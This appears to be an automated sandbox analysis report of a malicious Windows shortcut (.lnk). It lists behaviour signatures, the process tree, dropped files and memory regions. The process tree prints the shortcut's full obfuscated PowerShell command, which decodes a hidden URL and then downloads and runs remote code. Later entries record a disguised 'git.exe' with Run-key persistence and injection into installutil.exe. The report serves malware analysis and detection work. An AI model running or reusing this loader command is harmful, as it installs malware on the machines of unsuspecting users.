Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/07/2026, 12:14

General

  • Target
    photov_329494199046.lnk
  • Size 1KB
  • Sample260727-pergpasscs
  • SHA256 fd591d4be34702b97a7f02b9aa9517c03ced3ccca6b49e272327be3f9f49ed2c
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 9 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 21 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photov_329494199046.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1452
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -c "$jobf1h=62;$hwuk_ek=4;$qz60ip=87;$c237ol=[bigint]::Parse('929208012523936764252911250778818183813830309');$hbtvcb_q7=[bigint]::Parse('919256320123229698930903026356001628008756012');$c237ol=$c237ol-$hbtvcb_q7;$swdgg6=@();while($c237ol -gt 0){$swdgg6+=[char][int]([bigint]::Remainder($c237ol,256));$c237ol=[bigint]::Divide($c237ol,256)};.([scriptblock]::Create((irm(-join$swdgg6))))"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2996
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -c "$jobf1h=62;$hwuk_ek=4;$qz60ip=87;$c237ol=[bigint]::Parse('929208012523936764252911250778818183813830309');$hbtvcb_q7=[bigint]::Parse('919256320123229698930903026356001628008756012');$c237ol=$c237ol-$hbtvcb_q7;$swdgg6=@();while($c237ol -gt 0){$swdgg6+=[char][int]([bigint]::Remainder($c237ol,256));$c237ol=[bigint]::Divide($c237ol,256)};.([scriptblock]::Create((irm(-join$swdgg6))))"
        3⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1020
        • C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\git.exe
          "C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\git.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4912
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4768
  • C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\git.exe
    "C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\git.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3884
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4664
  • C:\Windows\system32\cmd.exe
    "cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5304
    • C:\ProgramData\GitWinx86\git.exe
      "C:\ProgramData\GitWinx86\git.exe""
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:4696
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3968
  • C:\Windows\Temp\DCRCVDrv.sys
    C:\Windows\Temp\DCRCVDrv.sys
    1⤵
    • Executes dropped EXE
    PID:5484

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        sfqpnz_tvac5_ai_ptvjvj.zip

        • Path C:\Users\Admin\AppData\Local\Temp\sfqpnz_tvac5_ai_ptvjvj.zip
        • Size 5.6MB
        • SHA256 031141870683cc41121ed8e2fbbdaa06da3720043ec448b000869cde34ebc352
        • MD5 SHA1 SHA512 SSDEEP TLSH

        git.exe

        • Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\git.exe
        • Size 4.2MB
        • SHA256 cab4c4eea1d869cf9f7be73868dc9a90ad2df1b1b673e5f8c8714a576c25ea96
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libiconv-2.dll

        • Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\libiconv-2.dll
        • Size 1.1MB
        • SHA256 7a282a854e01be726c6cccfe46f548c716aa45b3014818468253aaa4efbcd067
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libintl-8.dll

        • Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\libintl-8.dll
        • Size 291KB
        • SHA256 0537c3dd2378218508ebe3cc416d72a99ee2d24ae1c5525e23458f32544ef861
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libpcre2-8-0.dll

        • Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\libpcre2-8-0.dll
        • Size 701KB
        • SHA256 c135a87ed0f11eae8ffc4cb469671ff0b3f5d71fab5fb024e9b1e7241ca25b52
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libwinpthread-1.dll

        • Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\libwinpthread-1.dll
        • Size 3.0MB
        • SHA256 3b9a3369e4fbc9f4336247ea11cf5df3b4c44066987ff20f5f6895addb052036
        • MD5 SHA1 SHA512 SSDEEP TLSH

        msvcp140.dll

        • Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\msvcp140.dll
        • Size 540KB
        • SHA256 def46aa6a8f72f27bafac0c43334419486a4d1dcdb6c479a8ef7034b3e1fa4cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ucrtbase.dll

        • Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\ucrtbase.dll
        • Size 1.3MB
        • SHA256 c2ed69b4a1bb9432c75134e813c70539e27c8c1fe96a784d9be78c874e93d9d5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140.dll

        • Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\vcruntime140.dll
        • Size 120KB
        • SHA256 184146852727a9db4eea06178716bec3cdbb1015c911f6b0f915b184ad7775b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140_1.dll

        • Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\vcruntime140_1.dll
        • Size 46KB
        • SHA256 e6bfb3662ab4b1969a73441dbe35c96d51441b6bff8cf1fe7430bd5b246ca605
        • MD5 SHA1 SHA512 SSDEEP TLSH

        zlib1.dll

        • Path C:\Users\Admin\AppData\Local\clyh_srndxlyi48_upd_ydyt\zlib1.dll
        • Size 125KB
        • SHA256 93e9243a44c29200eeacaf9658efe2558581770e4b11ca4b500e18e424a6e3b5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DCRCVDrv.sys

        • Path C:\Windows\Temp\DCRCVDrv.sys
        • Size 137KB
        • SHA256 87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1020-23-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-7-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-11-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-12-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-13-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-14-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-15-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-16-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-17-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-18-0x000001B53BF10000-0x000001B53C0D2000-memory.dmp

        memory/1020-22-0x000001B53C0E0000-0x000001B53C192000-memory.dmp

        memory/1020-21-0x000001B53BE60000-0x000001B53BE7E000-memory.dmp

        memory/1020-9-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-24-0x000001B53BE50000-0x000001B53BE5A000-memory.dmp

        memory/1020-25-0x000001B53BEB0000-0x000001B53BEDA000-memory.dmp

        memory/1020-27-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-26-0x000001B53BEB0000-0x000001B53BED4000-memory.dmp

        memory/1020-28-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-8-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-10-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-6-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-5-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-4-0x000001B5233A0000-0x000001B5233C2000-memory.dmp

        memory/1020-2-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-29-0x000001B53C6D0000-0x000001B53CBF8000-memory.dmp

        memory/1020-30-0x000001B53BE90000-0x000001B53BE9A000-memory.dmp

        memory/1020-32-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-34-0x000001B53BEC0000-0x000001B53BED2000-memory.dmp

        memory/1020-37-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-1406-0x00007FFEB9D10000-0x00007FFEBA6B4000-memory.dmp

        memory/1020-0-0x00007FFEB9E9F000-0x00007FFEB9EA0000-memory.dmp

        memory/3884-127-0x00007FFEB1310000-0x00007FFEB13C6000-memory.dmp

        memory/3884-124-0x00007FFEB2E40000-0x00007FFEB2F5F000-memory.dmp

        memory/3884-123-0x00007FF666640000-0x00007FF666AAF000-memory.dmp

        memory/3884-125-0x00007FFEC12A0000-0x00007FFEC12C6000-memory.dmp

        memory/3884-126-0x00007FFEBAF20000-0x00007FFEBAF72000-memory.dmp

        memory/3968-755-0x0000000000400000-0x0000000000470000-memory.dmp

        memory/4664-233-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-177-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-235-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-243-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-241-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-239-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-237-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-128-0x0000000004CE0000-0x0000000004CFA000-memory.dmp

        memory/4664-231-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-229-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-227-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-225-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-223-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-221-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-122-0x0000000000590000-0x0000000000600000-memory.dmp

        memory/4664-217-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-215-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-213-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-211-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-209-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-207-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-205-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-203-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-201-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-195-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-193-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-191-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-189-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-187-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-185-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-183-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-181-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-179-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-129-0x0000000004D20000-0x0000000004D4C000-memory.dmp

        memory/4664-175-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-171-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-169-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-167-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-165-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-163-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-159-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-157-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-155-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-151-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-150-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-143-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-141-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-139-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-137-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-135-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-219-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-199-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-197-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-173-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-161-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-153-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-148-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-145-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-133-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-131-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-130-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/4664-2039-0x0000000006460000-0x0000000006A1A000-memory.dmp

        memory/4664-2037-0x0000000004FC0000-0x0000000005026000-memory.dmp

        memory/4664-2038-0x0000000005E00000-0x0000000005E92000-memory.dmp

        memory/5484-100-0x0000000000010000-0x000000000003D000-memory.dmp